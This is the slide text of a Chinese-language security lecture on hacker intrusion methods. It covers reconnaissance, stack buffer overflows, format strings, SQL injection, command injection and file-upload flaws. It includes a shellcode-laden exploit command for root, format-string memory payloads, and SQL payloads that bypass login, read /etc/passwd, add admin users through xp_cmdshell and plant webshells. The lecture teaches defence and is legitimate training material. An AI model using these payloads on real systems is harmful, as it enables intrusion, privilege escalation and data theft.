Transcript or 1=1

師範大學
駭客入侵手法剖析
大綱
前言
入侵過程簡介
系統程式弱點分析
Web 攻擊手法剖析
問題與討論
關於我
OuTian <[email protected]>
現任 敦陽科技 資安服務處 資安顧問
經歷 –
2007/2008/2009 台灣駭客年會講師、發表0day
多次政府、金融、電信、教育、企業單位之
滲透測試服務
資安事件處理與蒐證
資安設備規劃與建置
認證 –
CEH (Certified Ethical Hacker)
前言
聲明
 本系列課程內容,僅用於瞭解攻擊手法以
利進行防禦部署,若有任何學員以之進行
非法活動,一切行為與本人及主辦單位無
關,由學員自行負責。
入侵過程簡介
一般入侵過程
 資訊收集
 弱點探測
 侵入系統
 提升權限
 收集資料
 植入後門
資訊收集
 主機搜尋
ICMP、TCP scan
Zone Transfer
Google、Bing
 服務掃描 ( Port Scan )
nmap、Superscan、amap、scanrand
FIN, Xmas , or Null scan
 網路架構探測
traceroute、tcptraceroute、paratrace
 作業系統判斷
xprobe、p0f、nmap
由 TCP Fingerprint 辨識系統
弱點探測
人為判斷
服務弱點掃描工具
 Nessus OpenVAS
 ISS Internet Scanner
 Foundstone FoundScan
 Dragonsoft Vulnerability Scanner
網頁弱點掃描工具
 HP WebInspect
 IBM AppScan
 Acunetix Web Vulnerabilisy Scanner
 Jsky
 WebCruiser
 skipfish
侵入系統
 利用 Web 應用程式的漏洞
 利用服務本身的弱點
 Brute Force Attack
 Sniff
 Session Hijacking
 Man-in-the-Middle
 Social Engineering
提升權限
 crack password
 vulnerable program/service
.buffer overflow (stack/heap)
.format string
.race condition
.design error
 Kernel Exploit
 Brute Force Attack
收集資料
 破解使用者密碼
 修改登入頁面取得密碼
 啟動 sniffer 竊聽密碼
 "備份資料"
 繼續尋找並攻擊內部網路中其他機器
植入後門
後門程式
IRCbot
TCP proxy
植入Rookit
隱藏蹤跡及保留存取權限的工具"組“
修改log紀錄
置換系統工具
後門程式
系統程式弱點分析
常見系統程式弱點
Buffer Overflow
Format String
Buffer Overflow 簡介
最常見的 Internet 攻擊手法
CERT (Computer Security incident Report
Team) 中超過 50% 的 Security Advisory 屬於
於此分類
著名案例
Morris worm (1988): fingerd
– 感染超過 6,000 部主機
CodeRed (2001): MS-IIS server
– 14 小時內,超過 300,000 部主機受感染
SQL Slammer (2003): MS-SQL server
– 10 分鐘內,超過 75,000 部主機受感染
Buffer Overflow 常發生於
以 C 語言開發之各類
 kernel
 系統程式
 應用程式
 網路服務程式
 cgi 網頁應用程式
以 C 語言所開發之程式語言編譯器/直譯
器
 php
 perl
 … etc
Buffer Overflow 可以用來?
改變應用程式執行過程
引發程式不可預期行為而遭關閉
Denial Of Service
注入 shell code 以執行任意指令
植入後門
提升權限
關閉服務
………etc
Buffer Overflow 的分類
攻擊位置
Local
– 攻擊本機之應用程式
Remote
– 利用網路封包攻擊遠端之服務
攻擊方式
Stack Overflow
– 靜態配置的記憶體空間
Heap Overflow
– 程式執行階段動態配置的空間
聽個音樂也會被入侵?
什麼是 Buffer Overflow?(1)
什麼是 Buffer ?
 電腦主記憶體裡之暫存區,用以儲存程式裡之靜態/
動態資料
在程式中長得像這樣:
 char buffer[15];
Buffer 的種類
 原始碼中靜態宣告
 程式執行期間動態配置,利用 Stack 空間 malloc()
什麼是Stack?
 電腦程式在執行期間所需要的一塊記憶體,由處理器
支援其運作,遵循後進先出規則。
什麼是 Buffer Overflow?(2)
什麼是Buffer Overflow?
程式中在寫入Buffer的時候,超出預先配置的
大小。
發生這種狀況的時候,有可能:
沒事。
複寫到其他變數中的資料,使程式結果錯誤
複寫到其他變數的指標,發生存取錯誤。
複寫了返回位置,當副程式結束時當掉。
什麼是 Buffer Overflow?(3)
令我們感興趣的狀況:
動態變數(buffer)配置於堆疊區。
複製過長的資料會發生Buffer Overflow
經由Buffer Overflow能夠改變程式的返回位
置
堆疊區在系統記憶體中是可執行的
能夠在堆疊區插入一段程式碼,並改變原程
式的流程,執行我們插入的程式碼。
什麼是 Buffer Overflow?(4)
常發生於以下 C 語言函式中
memcpy()
strcpy()
strcat()
sprintf()
vsprintf()
gets()
scanf()
什麼是 Buffer Overflow?(5)
正常的 strcpy() 動作
什麼是 Buffer Overflow?(6)
Buffer Overflow 攻擊時
Buffer Overflow (Stack)
觀察記憶體內容
Windows
WinDbg
OllyDbg
UNIX
gdb
ddd
Evan's Debugger
有弱點的程式
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 int main(int argc, char *argv[] ) {

char name[256];




if( argc == 1 ) {
printf("Usage: %s name\n", argv[0] );
exit(0);
}


 }
strcpy( name , argv[1] );
printf("Hello %s !\n", name );
執行時
輸入過長參數會導致Segmentation Fault
測試 buffer 大小
./bof `perl -e 'print "A"x268'`
替換 x 後方數字直到產生 Segmentation
Fault
使用 gdb 確認 ebp 遭覆蓋
找出 buffer 之起始位址
印出記憶體位址內容
進行 Buffer Overflow Attack !
填入buffer overflow的template –
[NOP] + [Shell Code] + [NOP] + [RET Addr]
[RET Addr]需依實際狀況調整
./bof `perl -e 'print "\x90"x208 .
"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x5
8\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\
x89\xe1\xcd\x80" . "\x90"x30 .
"\x60\xf8\xff\xbf"
攻擊成功!
利用setuid root之程式,進行Buffer
Overflow執行/bin/sh後,跳出原程式進入
shell,並取得root權限
ASLR Implementation
Linux
> kernel 2.6.12
kernel.randomize_va_space
Microsoft Windows
Windows Vista 64bits
Windows Server 2008
OpenBSD
Mac OS
> 10.5 (Not Fully Implementing)
取得 stack pointer
 #include <stdio.h>
 unsigned long get_sp(void) {

__asm__("movl %esp, %eax");
}
 int main() {

printf("Stack pointer (ESP): 0x%x\n", get_sp() );

}
return 0;
kernel.randomize_va_space
不變
不斷改變
不變
Exec Shield
Windows (DEP)
Windows XP
RedHat Linux
> Fedora Core 1
> RHEL 3 update 3
kernel.exec-shield
Solaris
> Solaris 9
– In /etc/system
Set noexec_user_stack=1
Set noexec_user_stack_log=1
kernel.exec-shield = 0
可執行
kernel.exec-shield = 1
不可執行
Format String 簡介
Format String(格式化字串)用於C語言中
之許多函式
*printf( format string , variable list)
– printf
– fprintf
– sprintf
– vprintf
– vfprintf
– vsprintf
*scanf( format string , address list)
Sample Code
 Vulnerable
#include <stdio.h>
int main(int argc, char *argv[] )
{
printf( argv[1] );
}
 Safe
#include <stdio.h>
int main(int argc, char *argv[] )
{
printf( “%s” , argv[1] );
}
著名案例
Danger discovered in June 2000.
Examples:
wu-ftpd 2.* :
Linux rpc.statd:
IRIX telnetd:
BSD chpass:
remote root.
remote root
remote root
local root
Exploit
Dumping arbitrary memory
./fs '%08x.%08x.%08x.%08x|%s|'
Writing arbitrary memory
 ./fs '%08x.%08x.%08x.%08x.%n'
Overflow using Format String
char errmsg[512], outbuf[512];
sprintf (errmsg, “Illegal command:
%400s”, user);
sprintf( outbuf, errmsg );
 When user = “%500d <nops>
<shellcode>”
Bypass “%400s” limitation.
Will ovreflow outbuf.
Web攻擊手法剖析
常見 Web 應用程式弱點 (1)
 程式過濾不當
 SQL Injection
– 竊取資料、入侵網站
 Cross Site Scripting
– 利用網站弱點竊取其他用戶資料
 Arbitrary File Inclusion
– 入侵網站
 Code/Command Injection
– 入侵網站
 Directory Traversal
– 瀏覽敏感資訊檔案
 Buffer Overflow
– 入侵網站主機
常見 Web 應用程式弱點 (2)
 邏輯設計不當
 Cookie Poisoning
– 變換身份、提升權限
 Parameter Tampering
– 竄改參數,使應用程式出現不可預期反應
 Upload File Mis-Handling
– 植入網站木馬
 Information Disclosure
– 洩露網站資訊
– Error Handling
 Weak Authentication
– 脆弱的認證機制
OWASP Top 10 Vulnerability
OWASP Top 10 (2010) - 1
Injection
Web應用程式執行來自外部如資料庫、作
業系統惡意指令等
SQL Injection
Command Injection
Code Injection
……
SQL Injection
 Web 應用程式未檢查使用者的輸入參數,直接將其傳入
資料庫執行SQL
 分類




Error Based ( ASP + MSSQL )
Union / Blind / Update Based ( ALL )
Stack Query ( MSSQL )
Extended Procedure ( MSSQL、Oracle )
 影響範圍
 ASP、.NET、Java、PHP、CGI ………etc
 MSSQL、MySQL、Oracle、Sybase、DB2、
PostgreSQL………etc
 造成危害  繞過身份驗證
 任意 查詢/新增/修改/刪除 資料庫內容
 資料庫伺服器遭入侵
找出注入點
 修改懷疑可能為 SQL 語句內容之參數
 網址參數、POST Form、Cookie、HTTP Headers
 數字型
–
–
–
–
–
–
1+1
'
or 1=1-or 2>1-order by 1-and 1/0--
 字串型
–
–
–
–
–
–
'
' and ''='
' order by 1-' and 1/0-' and user>0-';declare @a int;--
Bypass Authentication
於登入頁面之帳號密碼欄位,注入SQL語
法以繞過認證
‘ or ‘’=‘
‘ or 1=1-‘ or 1=1/*
繞過身份認證
www.victim.com.tw
登入成功
http://www.victim.com.tw/login.jsp
`
壞人
正常人該作的…
壞人會作的
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
*
From
Account
Where
username=‘[帳號]’
and
password=‘[密碼]’
Select
*
From
Account
Where
username=‘admin’
and
password=‘‘ or 1=1--’
Bypass where condition
本來的語法長這樣 插入SQL後成為 –
Select
*
From
News
Where
id= [網址參數id]
Select
*
From
News
Where
id= 1 or 1=1--
Error Based
發生於 asp + mssql 之組合情況下
or aspx 開啟 debug
早期最常見之資料庫盜取方式
利用資料庫型別轉換產生之錯誤訊息撈取
內容
@@version>1-order by 100-(select cast(id as nvarchar(4000))+’|’)>1
(select cast(id as
nvarchar(4000))+char(124))>1
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
*
From
News
Where
id= [網址參數id]
Select
*
From
News
Where
id= 1 and
@@version>1--
Union Based
發生於所有程式、所有資料庫環境下
利用在判斷式後結合前後兩段 SQL 以撈
取內容
首先可利用 order by 判斷欄位數量
 id=1 order by 10- id=1 union select 1,2,3,4,5- id=1 union select 1,2,3,database(),5- id=1 union select 1,2,3,(select top 1 name from
master..sysdatabases where dbid=7),5—
 id=1 union select 1,2,3,load_file(‘/etc/passwd’),5--
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
id,user,message
From
board
Where
id= [網址參數id]
Select
id,user,message
From
board
Where
id= 1
Union select
1,2,version()--
Update Based
發生於所有程式、所有資料庫環境下
利用程式更新資料時,插入欲撈取資料之
SQL,以在更新後得到資料
儘量不要在注入的SQL後面加上 -MSSQL 使用 + 結合字串
Oracle 使用 || 結合字串
‘ + @@version + ‘
‘ + (select name from master..sysdatabases
where dbid=7) +’
‘,email=(select … ),’ …
Why ???
本來的語法長這樣 插入SQL後成為 –
Update
Member
Set
email=‘[email]’,
address=‘[地址]’
Where
user=‘[使用者名稱]’
Update
Member
Set
email=‘‘ + user + ’’ ,
address=‘[地址]’
Where
user=‘[使用者名稱]’
Blind
發生於所有程式、所有資料庫環境下
頁面沒有任何錯誤訊息供判斷,故稱
“Blind”
利用回應頁面的 “是” 與 “否” 判斷所注入
的SQL是否執行成功
id=1 and 1=1
id=1 and 1=2
id=1 and (select top 1
ascii(substring(COLUMN,1,1)) from
TABLE)>79
Why ???
本來的語法長這樣 插入SQL後成為 –
Select
*
From
News
Where
id= [網址參數id]
Select
*
From
News
Where
id= 1 and 1=1
(1 and 1=2)
觀察兩次查詢的結果
Stack Query
發生於資料庫為 MSSQL 時
利用 ; 符號中止原查詢語句,注入欲執行
之動作
可注入任何 SQL 語句,包含四大資料處
理語法(
SELECT/INSERT/DELETE/UPDATE)
、及延伸程序等
id=1 ; drop table account;-id=1 ; exec master..xp_cmdshell ‘net user
Hacker Hacker /add’;--
不正常的Query (1)
使用註解符號中斷 SQL 語句
/*
--
永遠成立的條件
or 1=1-or 2>1-‘ or ‘’=‘
不正常的Query (2)
測試查詢成功與否
 and 1=1- and 1=2- ‘;declare @a int;--
使查詢產生錯誤
 進行不同型別的轉換 (字串<->整數)
– @@version>1
 邏輯運算錯誤
– 1/0
 依不存在的欄位排序
– order by 100
不正常的Query (3)
使用union結合兩段query
‘ union select col1,col2,… from table--
呼叫函數或延伸程序
;exec master..xp_cmdshell ‘net user Hacker
Hacker /add’;-;exec master..xp_cmdshell 'echo WEBSHELL
> path/a.asp‘-;exec master..xp_regread
'HKEY_CURRENT_USER,Software\ORL\W
inVNC3',Password;--
Command Injection
執行作業系統指令之參數來自使用者端
Example :
Execute( “dir ” & Request(“dir”) )
插入指令分隔字元
;
|
` `
Listfile.asp?dir=C:\;net user hacker
hacker /add
File Upload Mis-Handling
檔案上傳功能
許多AP都有檔案上傳功能
上傳圖片、音樂、文件….
控管不好的話,駭客可以上傳惡意程式
WebShell  控制後端Web 主機
傳小馬、換大馬
73
傳統防護機制
傳統檢查機制許多都有風險
Client-side validation
– 可被bypass !
MIME Type validation
– 可被假造!
攻擊者可透過自己寫的Script或是自動化程式,一樣利用
HTTP POST方式來上傳檔案,但是自己竄改成假的
MIME Type。
74
傳統防護機制(cont.)
– 某些平台設定本身有漏洞 : Apache + PHP
駭客上傳自己的系統設定檔 “.htaccess”, 內含 :
AddType application/x-httpd-php .jpg
可以讓系統用 PHP 的執行方式來處理 .jpg 的檔案
filename.php.123 ?!
 Apache中遇到不認識的副檔名,會找認識的副檔名
來執行
filename.php.jpg ?!
 Apache 使用兩種語法來設定執行 PHP : the
AddHandler directive 或是 AddType.
 如果是前者,只要檔名中含有 ‘.php’ 就會被當作
PHP檔案來執行。
75
防護建議
利用白名單的觀念,在Web Server中設定
好允許的MIME-Type與其所相對應的程
式附檔名。
避免之前提到的平台漏洞
– 例如 : Apache 的 “.htaccess ”檔案應放置到不會被
瀏覽或上傳取代的位置。
設定範例 (只允許圖檔):
deny from all
<Files ~ "^\w+\.(gif|jpe?g|png)$">
order deny,allow
allow from all
</Files>
76
防護建議(cont.)
附檔名檢驗
後端一定要做!
小心因檢查不確實而被繞過
– .gif.php (多重附檔名)
– %2E%70%68%70 ( .php)
– .pHp
檔案上傳管理
位置管理 :
– 存放位置應獨立開來,並且做好權限控管(盡量避
免被瀏覽與執行)。
檔名管理 :
– 上傳後的檔名應該被更名
77
網頁編輯器漏洞手冊
 http://docs.google.com/View?id=dgd2dg2g_9cbxcbbf6
78
問題與討論